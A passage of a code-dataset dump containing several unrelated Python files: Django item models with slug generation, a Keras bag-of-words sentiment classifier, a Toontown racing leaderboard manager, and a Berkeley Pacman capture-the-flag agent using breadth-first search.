slugify(default_slug)\n if new_slug is not None:\n slug = new_slug\n qs = Item.objects.filter(slug=slug)\n exists = qs.exists()\n if exists:\n new_slug = \"%s-%s\" %(slug,qs.count())\n return create_item_slug(instance, new_slug=new_slug)\n return slug\n\ndef pre_save_item_receiver(sender, instance, *args, **kwargs):\n\tif not instance.slug:\n\t\tinstance.slug = create_item_slug(instance)\n\npre_save.connect(pre_save_item_receiver, sender=Item)\n\n\n\nclass ItemList(models.Model):\n\tname \t\t\t= models.CharField(max_length=50,\n\t\t\t\t\t\t\tvalidators=[\n\t\t\t\t\t\t\t\t\tRegexValidator(\n\t\t\t\t\t\t\t\t\t\tregex='^[\\w-]+$',\n\t\t\t\t\t\t\t\t\t\tmessage='Name does not allow special charecters',\n\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t])\n\tvalue \t\t\t= models.CharField(max_length=50)\n\ttitle \t\t\t= models.CharField(max_length=100,blank=True, null=True)\n\tdescription \t= models.TextField(max_length=255,blank=True, null=True)\n\tslug \t\t\t= models.SlugField(unique=True,blank=True, null=True)\n\tdefault \t\t= models.BooleanField(default=False)\n\titem \t\t\t= models.ForeignKey(Item,\n\t\t\t\t\t\ton_delete=models.CASCADE,\n\t\t\t\t\t\trelated_name='lists')\n\tcategory1 \t\t= models.CharField(max_length=50,blank=True, null=True)\n\tcategory2 \t\t= models.CharField(max_length=50,blank=True, null=True)\n\tordered \t\t= models.IntegerField(default=1)\n\tstatus \t\t\t= models.CharField(max_length=1,choices=STATUS_CHOICES,default=ACTIVE)\n\tcreated_date \t= models.DateTimeField(auto_now_add=True)\n\tmodified_date \t= models.DateTimeField(blank=True, null=True,auto_now=True)\n\tuser \t\t\t= models.ForeignKey(settings.AUTH_USER_MODEL,\n\t\t\t\t\t\ton_delete=models.SET_NULL,\n\t\t\t\t\t\tblank=True,null=True)\n\n\tclass Meta:\n\t\tunique_together = ('name','item')\n\n\tdef __str__(self):\n\t\treturn ('%s of %s' % (self.name,self.item))\n\n\tdef get_absolute_url(self):\n\t\treturn reverse('item-list:detail', kwargs={'slug': self.slug})\n\n\n\ndef create_itemlist_slug(instance, new_slug=None):\n # import datetime\n default_slug = '%s-%s' % (instance.name,instance.item )\n slug = slugify(default_slug)\n if new_slug is not None:\n slug = new_slug\n qs = ItemList.objects.filter(slug=slug)\n exists = qs.exists()\n if exists:\n new_slug = \"%s-%s\" %(slug,qs.count())\n return create_itemlist_slug(instance, new_slug=new_slug)\n return slug\n\ndef pre_save_itemlist_receiver(sender, instance, *args, **kwargs):\n\tif not instance.slug:\n\t\tinstance.slug = create_itemlist_slug(instance)\n\npre_save.connect(pre_save_itemlist_receiver, sender=ItemList)","sub_path":"wmp/item/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":5560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"1029461","text":"import sys, os, random\nimport numpy as np\nimport pandas as pd\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras.layers import BatchNormalization\nfrom keras.utils import np_utils, to_categorical\nfrom keras.models import load_model\n\nimport jieba\nfrom gensim.models import Word2Vec\n\nTEST = True\nNUM = 119018\nVAL_RATIO = 0.1\nBATCH_SIZE = 100\nEPOCHS = 20\nDROPOUT = 0.2\n\nLOAD_W2V = True\nMAX_LENGTH = 40\nEMBEDDING_DIM = 200\nWINDOW = 5\nMIN_COUNT = 20\nWORKERS = 8\nITER = 30\n\n''' Handle argv '''\n# bash hw6_train.sh \nX_train_fpath = sys.argv[1]\nY_train_fpath = sys.argv[2]\nX_test_fpath = sys.argv[3]\ndict_fpath = sys.argv[4]\nw2v_fpath = sys.argv[5]\nmodel_fpath = sys.argv[6]\nprint('# [Info] Argv')\nprint(' - X train file : {}'.format(X_train_fpath))\nprint(' - Y train file : {}'.format(Y_train_fpath))\nprint(' - X test file : {}'.format(X_test_fpath))\nprint(' - Dict file : {}'.format(dict_fpath))\nprint(' - W2V file : {}'.format(w2v_fpath))\nprint(' = Model file : {}'.format(model_fpath))\n\n''' Fix random seeds '''\nrandom.seed(0)\nnp.random.seed(0)\n\ndef load_X(fpath):\n data = pd.read_csv(fpath)\n return np.array(data['comment'].values, dtype=str)\n\ndef load_Y(fpath):\n data = pd.read_csv(fpath)\n return np.array(data['label'].values, dtype=int)\n\ndef split_train_val(X, Y, val_ratio, shuffle=False):\n assert len(X) == len(Y)\n if shuffle == True:\n indices = np.arange(len(X))\n np.random.shuffle(indices)\n X = X[indices]\n Y = Y[indices]\n train_len = int(len(X) * (1.0 - val_ratio))\n return X[:train_len], Y[:train_len], X[train_len:], Y[train_len:]\n\ndef text_segmentation(X):\n segment = []\n for i, sentence in enumerate(X):\n print('\\r# [Info] Segmenting sentences... {} / {}'.format(i+1, len(X)), end='', flush=True)\n word_list = []\n for word in jieba.cut(sentence, cut_all=False):\n if word[0] == 'B': continue\n word_list.append(word)\n segment.append(word_list)\n print('', flush=True)\n return segment\n\ndef build_embed(X):\n if LOAD_W2V == True:\n print('# [Info] Loading w2v model...')\n embed = Word2Vec.load(w2v_fpath)\n print('# - Vocab size: {}'.format(len(embed.wv.vocab)))\n else:\n print('# [Info] Building w2v model...')\n print('# - Total data: {}'.format(len(X)))\n embed = Word2Vec(X, size=EMBEDDING_DIM, window=WINDOW, min_count=MIN_COUNT, workers=WORKERS, iter=ITER)\n print('# - Vocab size: {}'.format(len(embed.wv.vocab)))\n print('# - Model saved: {}'.format(w2v_fpath))\n embed.save(w2v_fpath)\n return embed\n\ndef build_dict(embed):\n word_dict = dict()\n cnt = 0\n for i, word in enumerate(embed.wv.vocab):\n print('\\r# [Info] Building word dictionary... {} / {}'.format(i+1, len(embed.wv.vocab)), end='', flush=True)\n word_dict[word] = cnt\n cnt += 1\n print('', flush=True)\n return word_dict\n\ndef sentence_to_bag(word_dict, segment):\n vectors = np.zeros((len(segment), len(word_dict)), dtype=int)\n for i, sentence in enumerate(segment):\n print('\\r# [Info] Sentence to bag... {} / {}'.format(i+1, len(segment)), end='', flush=True)\n for j, word in enumerate(sentence):\n if word in word_dict:\n vectors[i, word_dict[word]] += 1\n print('', flush=True)\n return vectors\n\n''' Load training data '''\nX_train = load_X(X_train_fpath)\nY_train = load_Y(Y_train_fpath)\nX_test = load_X(X_test_fpath)\nassert X_train.shape[0] == Y_train.shape[0]\nprint('# [Info] {} training data loaded.'.format(len(X_train)))\n\n''' Preprocess '''\nif TEST == True:\n print('# [Info] Loading JIEBA...')\n jieba.load_userdict(dict_fpath)\n X_test_segment = text_segmentation(X_test)\n embed = build_embed(X_test_segment)\n word_dict = build_dict(embed)\n X_test = sentence_to_bag(word_dict, X_test_segment)\n model = load_model(model_fpath)\n prediction = model.predict(X_test, batch_size=BATCH_SIZE)\n with open('bow0.csv', 'w') as f:\n f.write('id,label\\n')\n for i, v in enumerate(prediction):\n f.write('%d,%d\\n' %(i, np.argmax(v)))\n sys.exit()\nelse:\n print('# [Info] Loading JIEBA...')\n jieba.load_userdict(dict_fpath)\n X_train = X_train[0:NUM]\n Y_train = Y_train[0:NUM]\n X_train_segment = text_segmentation(X_train)\n embed = build_embed(X_train_segment)\n word_dict = build_dict(embed)\n X_train = sentence_to_bag(word_dict, X_train_segment)\n Y_train = np_utils.to_categorical(Y_train, 2)\n\n''' Split validation set '''\nX_train, Y_train, X_val, Y_val = split_train_val(X_train, Y_train, VAL_RATIO)\nprint('# [Info] train / val : {} / {}.'.format(len(X_train), len(X_val)))\n\n''' Build model '''\ndef build_model(size):\n print('# [Info] Building model...')\n model = Sequential()\n model.add(Dense(units=128, input_dim=size, activation='relu'))\n model.add(BatchNormalization())\n model.add(Dropout(DROPOUT))\n neurons = [128, 128]\n for neuron in neurons:\n model.add(Dense(neuron, activation='relu'))\n model.add(BatchNormalization())\n model.add(Dropout(DROPOUT))\n model.add(Dense(2, activation='sigmoid'))\n return model\n\n''' Build model '''\nmodel = build_model(len(word_dict))\nmodel.summary()\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n\n''' Train Train Train '''\ntrain_history = model.fit(X_train, Y_train, batch_size=BATCH_SIZE, epochs=EPOCHS, verbose=1, validation_data=(X_val, Y_val))\nresult = model.evaluate(X_train, Y_train, batch_size=BATCH_SIZE)\nprint('# [Info] Train Acc:', result[1])\n\ndef dump_train_history(train_history):\n model_type = 'BOW'\n item_type = ['acc', 'val_acc', 'loss', 'val_loss' ]\n for item in item_type:\n filename = '{}_{}.csv'.format(model_type, item)\n data = train_history.history[item]\n with open(filename, 'w') as f:\n for i in enumerate(data):\n f.write('{}\\n'.format(i[1]))\ndump_train_history(train_history)\n\n''' Save model '''\nmodel.save(model_fpath)\nprint('# [Info] Model saved: {}'.format(model_fpath))\nprint('Done!')\n","sub_path":"hw6/hw6_bow.py","file_name":"hw6_bow.py","file_ext":"py","file_size_in_byte":6235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"61154917","text":"from direct.directnotify.DirectNotifyGlobal import *\nfrom direct.distributed import DistributedObjectAI\nimport datetime\nimport time\nimport csv\nimport ast\nimport os\n\nclass DistributedLeaderBoardManagerAI(DistributedObjectAI.DistributedObjectAI):\n notify = directNotify.newCategory('LeaderBoardManagerAI')\n\n def __init__(self, air):\n\n self.air = air\n\n # Directory\n self.backDir = 'backups/'\n self.folderName = 'raceboards/'\n self.fileName = str(self.air.districtId) # Used for our filename\n self.extension = '.csv'\n self.fullPath = self.backDir + self.folderName \n self.fullName = self.fileName + self.extension\n\n # Leaderboard instances\n self.stadiumBoard = None\n self.ruralBoard = None\n self.urbanBoard = None\n\n # How long it takes before we display the next race scores\n self.cycleTime = 10\n\n # Genres\n Speedway = 0\n Rural = 1\n Urban = 2\n\n # Record IDs\n Daily = 0\n Weekly = 1\n AllTime = 2\n\n # Name used for default race player\n self.defaultName = \"Goofy\"\n\n # Record text\n LeaderBoard_Daily = 'Daily Scores'\n LeaderBoard_Weekly = 'Weekly Scores'\n LeaderBoard_AllTime = 'All Time Best Scores'\n self.recordPeriodStrings = [LeaderBoard_Daily, LeaderBoard_Weekly, LeaderBoard_AllTime]\n\n # Racetrack IDs\n RT_Speedway_1 = 0\n RT_Speedway_1_rev = 1\n RT_Speedway_2 = 60\n RT_Speedway_2_rev = 61\n RT_Rural_1 = 20\n RT_Rural_1_rev = 21\n RT_Rural_2 = 62\n RT_Rural_2_rev = 63\n RT_Urban_1 = 40\n RT_Urban_1_rev = 41\n RT_Urban_2 = 64\n RT_Urban_2_rev = 65\n\n # Minimum requirements to get on board\n speedway1Minimum = 115\n speedway2Minimum = 210\n rural1Minimum = 230\n rural2Minimum = 360\n urban1Minimum = 305\n urban2Minimum = 280\n\n # Minimum values dict\n self.minimumValueDict = {\n RT_Speedway_1: speedway1Minimum,\n RT_Speedway_1_rev: speedway1Minimum,\n RT_Speedway_2: speedway2Minimum,\n RT_Speedway_2_rev: speedway2Minimum,\n RT_Rural_1: rural1Minimum,\n RT_Rural_1_rev: rural1Minimum,\n\n RT_Rural_2: rural2Minimum,\n RT_Rural_2_rev: rural2Minimum,\n RT_Urban_1: urban1Minimum,\n RT_Urban_1_rev: urban1Minimum,\n RT_Urban_2: urban2Minimum,\n RT_Urban_2_rev: urban2Minimum,\n }\n\n # Racetrack names\n KartRace_Reverse = ' Rev'\n self.KartRace_TrackNames = {\n RT_Speedway_1: 'Screwball Stadium',\n RT_Speedway_1_rev: 'Screwball Stadium' + KartRace_Reverse,\n RT_Rural_1: 'Rustic Raceway',\n RT_Rural_1_rev: 'Rustic Raceway' + KartRace_Reverse,\n RT_Urban_1: 'City Circuit',\n RT_Urban_1_rev: 'City Circuit' + KartRace_Reverse,\n RT_Speedway_2: 'Corkscrew Coliseum',\n RT_Speedway_2_rev: 'Corkscrew Coliseum' + KartRace_Reverse,\n RT_Rural_2: 'Airborne Acres',\n RT_Rural_2_rev: 'Airborne Acres' + KartRace_Reverse,\n RT_Urban_2: 'Blizzard Boulevard',\n RT_Urban_2_rev: 'Blizzard Boulevard' + KartRace_Reverse\n }\n\n self.orderedTrackKeys = {\n Speedway: [(RT_Speedway_1, Daily),\n (RT_Speedway_1, Weekly),\n (RT_Speedway_1, AllTime),\n (RT_Speedway_1_rev, Daily),\n (RT_Speedway_1_rev, Weekly),\n (RT_Speedway_1_rev, AllTime),\n (RT_Speedway_2, Daily),\n (RT_Speedway_2, Weekly),\n (RT_Speedway_2, AllTime),\n (RT_Speedway_2_rev, Daily),\n (RT_Speedway_2_rev, Weekly),\n (RT_Speedway_2_rev, AllTime)],\n Rural: [(RT_Rural_1, Daily),\n (RT_Rural_1, Weekly),\n (RT_Rural_1, AllTime),\n (RT_Rural_1_rev, Daily),\n (RT_Rural_1_rev, Weekly),\n (RT_Rural_1_rev, AllTime),\n (RT_Rural_2, Daily),\n (RT_Rural_2, Weekly),\n (RT_Rural_2, AllTime),\n (RT_Rural_2_rev, Daily),\n (RT_Rural_2_rev, Weekly),\n (RT_Rural_2_rev, AllTime)],\n Urban: [(RT_Urban_1, Daily),\n (RT_Urban_1, Weekly),\n (RT_Urban_1, AllTime),\n (RT_Urban_1_rev, Daily),\n (RT_Urban_1_rev, Weekly),\n (RT_Urban_1_rev, AllTime),\n (RT_Urban_2, Daily),\n (RT_Urban_2, Weekly),\n (RT_Urban_2, AllTime),\n (RT_Urban_2_rev, Daily),\n (RT_Urban_2_rev, Weekly),\n (RT_Urban_2_rev, AllTime)]\n }\n\n self.recordLists = {\n (RT_Speedway_1, Daily): [],\n (RT_Speedway_1, Weekly): [],\n (RT_Speedway_1, AllTime): [],\n (RT_Speedway_1_rev, Daily): [],\n (RT_Speedway_1_rev, Weekly): [],\n (RT_Speedway_1_rev, AllTime): [],\n (RT_Rural_1, Daily): [],\n (RT_Rural_1, Weekly): [],\n (RT_Rural_1, AllTime): [],\n (RT_Rural_1_rev, Daily): [],\n (RT_Rural_1_rev, Weekly): [],\n (RT_Rural_1_rev, AllTime): [],\n (RT_Urban_1, Daily): [],\n (RT_Urban_1, Weekly): [],\n (RT_Urban_1, AllTime): [],\n (RT_Urban_1_rev, Daily): [],\n (RT_Urban_1_rev, Weekly): [],\n (RT_Urban_1_rev, AllTime): [],\n (RT_Speedway_2, Daily): [],\n (RT_Speedway_2, Weekly): [],\n (RT_Speedway_2, AllTime): [],\n (RT_Speedway_2_rev, Daily): [],\n (RT_Speedway_2_rev, Weekly): [],\n (RT_Speedway_2_rev, AllTime): [],\n (RT_Rural_2, Daily): [],\n (RT_Rural_2, Weekly): [],\n (RT_Rural_2, AllTime): [],\n (RT_Rural_2_rev, Daily): [],\n (RT_Rural_2_rev, Weekly): [],\n (RT_Rural_2_rev, AllTime): [],\n (RT_Urban_2, Daily): [],\n (RT_Urban_2, Weekly): [],\n (RT_Urban_2, AllTime): [],\n (RT_Urban_2_rev, Daily): [],\n (RT_Urban_2_rev, Weekly): [],\n (RT_Urban_2_rev, AllTime): []\n }\n\n self.stadiumCount = 0\n self.ruralCount = 0\n self.cityCount = 0\n self.countIteratorList = [self.stadiumCount, self.ruralCount, self.cityCount]\n\n self.createScoreCSV()\n self.leaderBoardTask()\n\n\n\n ###############################################################################################\n ############################### BUILDING OUR DEFAULT DICTIONARY ###############################\n ###############################################################################################\n\n def createScoreCSV(self):\n\n if not os.path.exists(self.backDir):\n os.mkdir(self.backDir)\n\n if not os.path.exists(self.fullPath):\n os.mkdir(self.fullPath)\n self.raceScoresDict = self.createRaceScoreDict()\n self.exportScores(self.raceScoresDict)\n\n else:\n\n if not os.path.exists(self.fullPath + self.fullName):\n self.raceScoresDict = self.createRaceScoreDict()\n self.exportScores(self.raceScoresDict)\n else:\n\n reader = csv.reader(open(self.fullPath + self.fullName, 'r'))\n previousScores = {}\n for row in reader:\n key, value = row\n\n key = ast.literal_eval(key)\n value = ast.literal_eval(value)\n\n previousScores[key] = value\n\n del reader\n\n if previousScores != {}: # Patch to not overwrite if file ends up being blank\n self.raceScoresDict = previousScores\n else:\n self.raceScoresDict = self.createRaceScoreDict()\n self.exportScores(self.raceScoresDict)\n\n\n\n def exportScores(self, scoreList):\n w = csv.writer(open(self.fullPath + self.fullName, 'w'))\n for key, val in scoreList.items():\n w.writerow([key, val])\n del w # Close\n\n\n\n def createRaceScoreDict(self): # Only called if records file is empty!\n boardDict = {}\n\n allTrackGenres = self.orderedTrackKeys\n\n for genre in allTrackGenres:\n trackRecords = allTrackGenres[genre]\n\n for raceKey in trackRecords: # raceKey is used in of itsself as a key in the boardDict\n raceId = raceKey[0]\n recordTitleId = raceKey[1]\n\n raceScores = self.recordLists[raceKey]\n raceScores = self.setDefaultWins(raceScores, raceId) # Furnish our list with the default race player ( Goofy )\n \n completedList = raceScores # IMPORTANT!!! THIS IS WHERE WE'RE APPENDING NEW STUFF\n\n boardDict[raceKey] = completedList\n\n return boardDict\n\n\n\n def setDefaultWins(self, raceScores, raceId):\n for defaultRacer in range(0, 10):\n self.setDefaultRacer(raceScores, raceId)\n return raceScores # Returns furnished list\n\n\n\n def setDefaultRacer(self, raceScores, raceId):\n raceScores.append((self.defaultName, self.minimumValueDict[raceId], 0))\n\n\n\n ###############################################################################################\n ############################### THIS MANAGES OUR BOARD INSTANCES ##############################\n ###############################################################################################\n\n def defineBoardInstance(self, genre, boardInstance): # This function allows us to define the three different leaderboards for us to control them\n if genre == 0: # Stadium\n self.stadiumBoard = boardInstance\n elif genre == 1: # Rural\n self.ruralBoard = boardInstance\n elif genre == 2: # Urban\n self.urbanBoard = boardInstance\n\n\n\n def leaderBoardTask(self, task=None):\n if self.ruralBoard: # If all boards have been generated initiate tasks\n self.cycleBoardMgr(0, self.stadiumBoard)\n self.cycleBoardMgr(1, self.ruralBoard)\n self.cycleBoardMgr(2, self.urbanBoard)\n\n taskMgr.doMethodLater(self.cycleTime, self.leaderBoardTask, 'leaderBoardTask')\n\n\n\n def cycleBoardMgr(self, genre, boardInstance):\n if self.countIteratorList[genre] >= 12: # If we go over 12, reset ( Cycles 0 through 12 )\n self.countIteratorList[genre] = 0\n\n activeTracks = self.orderedTrackKeys[genre]\n curTrack = activeTracks[self.countIteratorList[genre]] \n\n trackId = curTrack[0]\n recordId = curTrack[1]\n trackScores = self.raceScoresDict[curTrack]\n\n self.removeAfterXtime(trackId, recordId) # Keeps old entries from accumulating\n\n trackTitle = self.KartRace_TrackNames[trackId] # Text\n recordTitle = self.recordPeriodStrings[recordId] # Text\n trackData = (trackTitle, recordTitle, trackScores)\n\n self.setBoardDisplay(trackData, boardInstance) # Send data back to leader board\n\n self.countIteratorList[genre] = self.countIteratorList[genre] + 1 # Count up\n\n\n\n def setBoardDisplay(self, trackData, boardInstance):\n boardInstance.setDisplay(trackData) \n\n\n\n ###########################################################################################################\n ############################### MECHANISMS FOR APPENDING & REMOVING PLAYERS ###############################\n ###########################################################################################################\n\n\n\n def appendNewRaceEntry(self, raceId, recordId, av, totalTime, timeStamp): # Appends new race entry IF they qualify\n minimumTimeRequirement = self.minimumValueDict[raceId]\n if totalTime >= minimumTimeRequirement:\n return # This player took too long to be displayed on the board!\n\n scoreList = self.findRaceScoreList(raceId, recordId)\n\n newRaceEntry = (av, totalTime, timeStamp) # Player's info\n scoreList.append(newRaceEntry) # Append this racer to the leaderboard\n self.sortScores(scoreList) # Sort our scores based off of the total time players took\n scoreList.pop() # Remove player who took the longest\n self.exportScores(self.raceScoresDict)\n\n\n\n def removeAfterXtime(self, raceId, recordId):\n if recordId == 0: # Daily\n addTime = 86400 # 24 Hours\n elif recordId == 1: # Weekly\n addTime = 604800\n else: # Best, DO NOT REMOVE BEST SCORES\n return\n\n scoreList = self.findRaceScoreList(raceId, recordId)\n\n tempIterScores = list(scoreList) # This is because of some weirdness that happens if we remove something from the original list when trying to loop through it aswell\n for race in tempIterScores:\n\n staticTimeStamp = race[2]\n expirationimeStamp = staticTimeStamp + addTime # 24 Hours out from whenever the timestamp was created for ending of race\n currentTime = time.time()\n\n if staticTimeStamp != 0: # A special case here, this is for the default racer ( Goofy ) So that it doesn't get inadvertantly removed.\n if currentTime >= expirationimeStamp: # If the present time is greater than the experiation, we will remove it\n scoreList.remove(race) # Remove the race entry\n self.setDefaultRacer(scoreList, raceId) # Append default racer in place of old entry\n self.sortScores(scoreList)\n self.exportScores(self.raceScoresDict)\n\n\n def findRaceScoreList(self, raceId, recordId): # Find specified race list we want\n wantedKey = (raceId, recordId)\n for raceKey in self.raceScoresDict:\n raceScores = self.raceScoresDict[raceKey]\n \n iterRaceId = raceKey[0]\n iterTitleId = raceKey[1]\n\n if raceKey == wantedKey:\n return raceScores\n\n\n\n def sortScores(self, scoreList):\n scoreList.sort(key=lambda player: player[1]) # Sort by time it took to complete race\n\n\n\n","sub_path":"toontown/racing/DistributedLeaderBoardManagerAI.py","file_name":"DistributedLeaderBoardManagerAI.py","file_ext":"py","file_size_in_byte":14376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"254812980","text":"# baselineTeam.py\n# ---------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n# baselineTeam.py\n# ---------------\n# Licensing Information: Please do not distribute or publish solutions to this\n# project. You are free to use and extend these projects for educational\n# purposes. The Pacman AI projects were developed at UC Berkeley, primarily by\n# John DeNero (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# For more info, see http://inst.eecs.berkeley.edu/~cs188/sp09/pacman.html\nfrom __future__ import print_function\nfrom captureAgents import CaptureAgent\nimport distanceCalculator\nimport random, time, util, sys\nfrom game import Directions\nimport game\nfrom util import nearestPoint\nfrom game import Actions\n#TODO:Check for uneeded imports.\n\ndef createTeam(firstIndex, secondIndex, isRed,\n first = 'OffensiveReflexAgent', second = 'agent'):\n return [eval(first)(firstIndex), eval(second)(secondIndex)]\n\n###################################################\n# Base class for an offensive bot. Sets up initial state,\n# and also chooses the maximizing action. I originally\n# wanted to have all the code contained in OffensiveReflexAgent,\n# and inherit CaptureAgent, however weird behavior started \n# to occur and I did not have enough time to investigate\n# the problem further. Im not sure if it was the removal\n# of any of these functions included here.\n# (In particular the original getFeatures and getWeights methods).\n###################################################\n\nclass agent(CaptureAgent):\n def chooseAction(self, gameState):\n return random.choice(gameState.getLegalActions(self.index))\n\nclass ReflexCaptureAgent(CaptureAgent):\n\n def registerInitialState(self, gameState):\n \"\"\"\n Function to establish initial states of the game.\n This is where its goal is to find food or go straight \n for the power capsule.\n :param gameState: The variables of the current state.\n \"\"\"\n self.start = gameState.getAgentPosition(self.index)\n CaptureAgent.registerInitialState(self, gameState)\n self.goal = self.rushCapsule(gameState)\n self.walls = gameState.getWalls()\n self.costFn = lambda x: 1\n self.actionList = self.breadthFirstSearch(gameState)\n print(self.actionList)\n\n def rushCapsule(self, gameState):\n \"\"\"\n This method is to decide what strategy the offensive bot will first\n try to do. It has a 33% chance of going immediately to the power capsule,\n which is a 'cheese' strat. The other chance it will seek to find the\n closest food.\n :param gameState: The variables of the current state.\n \"\"\"\n rand = random.randint(1, 4)\n if rand == 3:\n return self.getCapsules(gameState)\n else:\n # These values are hardcoded, seem to be least conflict area\n # travels along the outer edge of the map first.\n if gameState.isOnRedTeam(self.index):\n #return self.getClosestFood(gameState)\n #return (21, 1)\n #return (3, 5)\n return (3, 10)\n #return (17, 6)\n else:\n return (10, 14)\n\n def getClosestFood(self, gameState):\n \"\"\"\n Function that returns the (x, y) coordinate of the closest food near\n an agent. This behavior isnt too advanced as it does not account for \n enemies in the way to the food.\n \"\"\"\n foodList = self.getFood(gameState).asList()\n if len(foodList) > 0: # This should always be True, but better safe than sorry\n myPos = gameState.getAgentState(self.index).getPosition()\n min_pos = 9999\n best_choice = None\n for food in foodList:\n temp_pos = self.getMazeDistance(myPos, food)\n temp_food = food\n if temp_pos < min_pos:\n min_pos = temp_pos\n best_choice = food\n return best_choice\n\n def isGoalState(self, state):\n \"\"\"\n Returns a boolean that checks to see whether or not current (x, y)\n matches goal (x, y).\n :param state: Current (x, y) that is being checked.\n :param gameState: The variables of the current state.\n \"\"\"\n isGoal = state == self.goal\n return isGoal\n\n def updateGoalState(self, goal):\n \"\"\"\n Changes the (x, y) destination to a new goal.\n :param goal: New (x, y) coordinate that represents end target.\n \"\"\"\n self.debugClear()\n self.goal = goal\n\n def checkGoalState(self, goal):\n \"\"\"\n Check for enemies near the goal, (x, y).\n \"\"\"\n pass\n\n def breadthFirstSearch(self, gameState):\n current_pos = gameState.getAgentPosition(self.index)\n\n if self.isGoalState(current_pos):\n return []\n myQueue = util.Queue()\n visitedNodes = []\n\n myQueue.push((current_pos, []))\n while not myQueue.isEmpty():\n current_pos, actions = myQueue.pop()\n if current_pos not in visitedNodes:\n visitedNodes.append(current_pos)\n if self.isGoalState(current_pos):\n #print(actions)\n return actions\n\n for nextNode, action, cost in self.getSuccessors(current_pos):\n newAction = actions + [action]\n myQueue.push((nextNode, newAction))\n\n def hasDied(self, gameState):\n if len(self.observationHistory) > 10:\n obsHistory = self.observationHistory[len(self.observationHistory)-2]\n posHistory = obsHistory.getAgentPosition(self.index)\n currentPos = gameState.getAgentPosition(self.index)\n distHistory = self.getMazeDistance(currentPos, posHistory)\n if distHistory > 1:\n return True\n return False\n\n def chooseAction(self, gameState):\n \"\"\"\n Picks among the actions with the highest Q(s,a).\n \"\"\"\n #raw_input()\n if self.hasDied(gameState):\n self.actionList = []\n self.updateGoalState(self.getClosestFood(gameState))\n self.debugDraw(self.goal, (1, 0, 0))\n #raw_input()\n if len(self.actionList) == 0:\n self.updateGoalState(self.getClosestFood(gameState))\n self.actionList = self.breadthFirstSearch(gameState)\n\n print(self.actionList)\n return self.actionList.pop(0)\n #actions = gameState.getLegalActions(self.index)\n # You can profile your evaluation time by uncommenting these lines\n # start = time.time()\n #values = [self.evaluate(gameState, a) for a in actions]\n #if self.index == 1:\n #print(values, file=sys.stderr)\n # print(self.getPreviousObservation(), file=sys.stderr)\n\n # print 'eval time for agent %d: %.4f' % (self.index, time.time() - start)\n\n #maxValue = max(values)\n #bestActions = [a for a, v in zip(actions, values) if v == maxValue]\n # if self.index == 1:\n # print(bestActions, file=sys.stderr)\n\n #foodLeft = len(self.getFood(gameState).asList())\n\n #if foodLeft <= 2 or gameState.getAgentState(self.index).numCarrying >= 3:\n #bestDist = 9999\n #for action in actions:\n #successor = self.getSuccessor(gameState, action)\n #pos2 = successor.getAgentPosition(self.index)\n\t#dist = self.getMazeDistance(self.start,pos2)\n #if dist < bestDist:\n #bestAction = action\n #bestDist = dist\n #return bestAction\n\n #return random.choice(bestActions)\n\n def getSuccessor(self, gameState, action):\n \"\"\"\n Finds the next successor which is a grid position (location tuple).\n \"\"\"\n successor = gameState.generateSuccessor(self.index, action)\n pos = successor.getAgentState(self.index).getPosition()\n if pos != nearestPoint(pos):\n # Only half a grid position was covered\n return successor.generateSuccessor(self.index, action)\n else:\n return successor\n\n def getSuccessors(self, state):\n successors = []\n bestDist = 9999\n for action in [Directions.NORTH, Directions.SOUTH, Directions.EAST, Directions.WEST]:\n x, y = state\n dx, dy = Actions.directionToVector(action)\n nextx, nexty = int(x + dx), int(y + dy)\n if not self.walls[nextx][nexty]:\n nextState = (nextx, nexty)\n cost = self.costFn(nextState)\n\n dist = self.getMazeDistance(nextState, self.goal)\n if dist < bestDist:\n bestDist = dist\n bestAction = action\n bestState = nextState\n successors.append( (bestState, bestAction, cost) )\n return successors\n\n def evaluate(self, gameState, action):\n \"\"\"\n Computes a linear combination of features and feature weights\n \"\"\"\n features = self.getFeatures(gameState, action)\n weights = self.getWeights(gameState, action)\n\n if self.index == 1:\n print(str(features) + str(weights), file=sys.stderr)\n # print(gameState.getAgentState(self.index)) # Print out a text representation of the world.\n\n return features * weights\n\n def getFeatures(self, gameState, action):\n \"\"\"\n Returns a counter of features for the state\n \"\"\"\n features = util.Counter()\n successor = self.getSuccessor(gameState, action)\n features['successorScore'] = self.getScore(successor)\n\n return features\n\n def getWeights(self, gameState, action):\n \"\"\"\n Normally, weights do not depend on the gamestate. They can be either\n a counter or a dictionary.\n \"\"\"\n return {'successorScore': 1.0}\n\n###################################################\n# This class defines an offensive agent. The defined\n# behavior of this agent is to prioritize a goal,\n# which is a certain (x, y) coordinate. It then creates a list\n# of actions to take to reach its gaol based on a\n# breadthFirstSearch algorithm.\n# Improvements need to be made with enemy interaction. \n##################################################\nclass OffensiveReflexAgent(ReflexCaptureAgent):\n\n def getFeatures(self, gameState, action):\n \"\"\"\n Function that creates a list of game features to change values of the \n available moves to make.\n :param gameState: The variables of the current state.\n :param action: The direction of the agents move.\n \"\"\"\n features = util.Counter()\n successor = self.getSuccessor(gameState, action)\n\n myState = successor.getAgentState(self.index)\n myPos = myState.getPosition()\n\n foodList = self.getFood(successor).asList() \n features['successorScore'] = -len(foodList)#self.getScore(successor)\n\n # Compute distance to the nearest food\n if len(foodList) > 0: # This should always be True, but better safe than sorry\n myPos = successor.getAgentState(self.index).getPosition()\n #print(successor.getAgentState(self.index))\n minDistance = min([self.getMazeDistance(myPos, food) for food in foodList])\n features['distanceToFood'] = minDistance\n\n\n #if self.isGoalState(myPos):\n #self.updateGoalState(self.getClosestFood(gameState))\n\n #print here\n 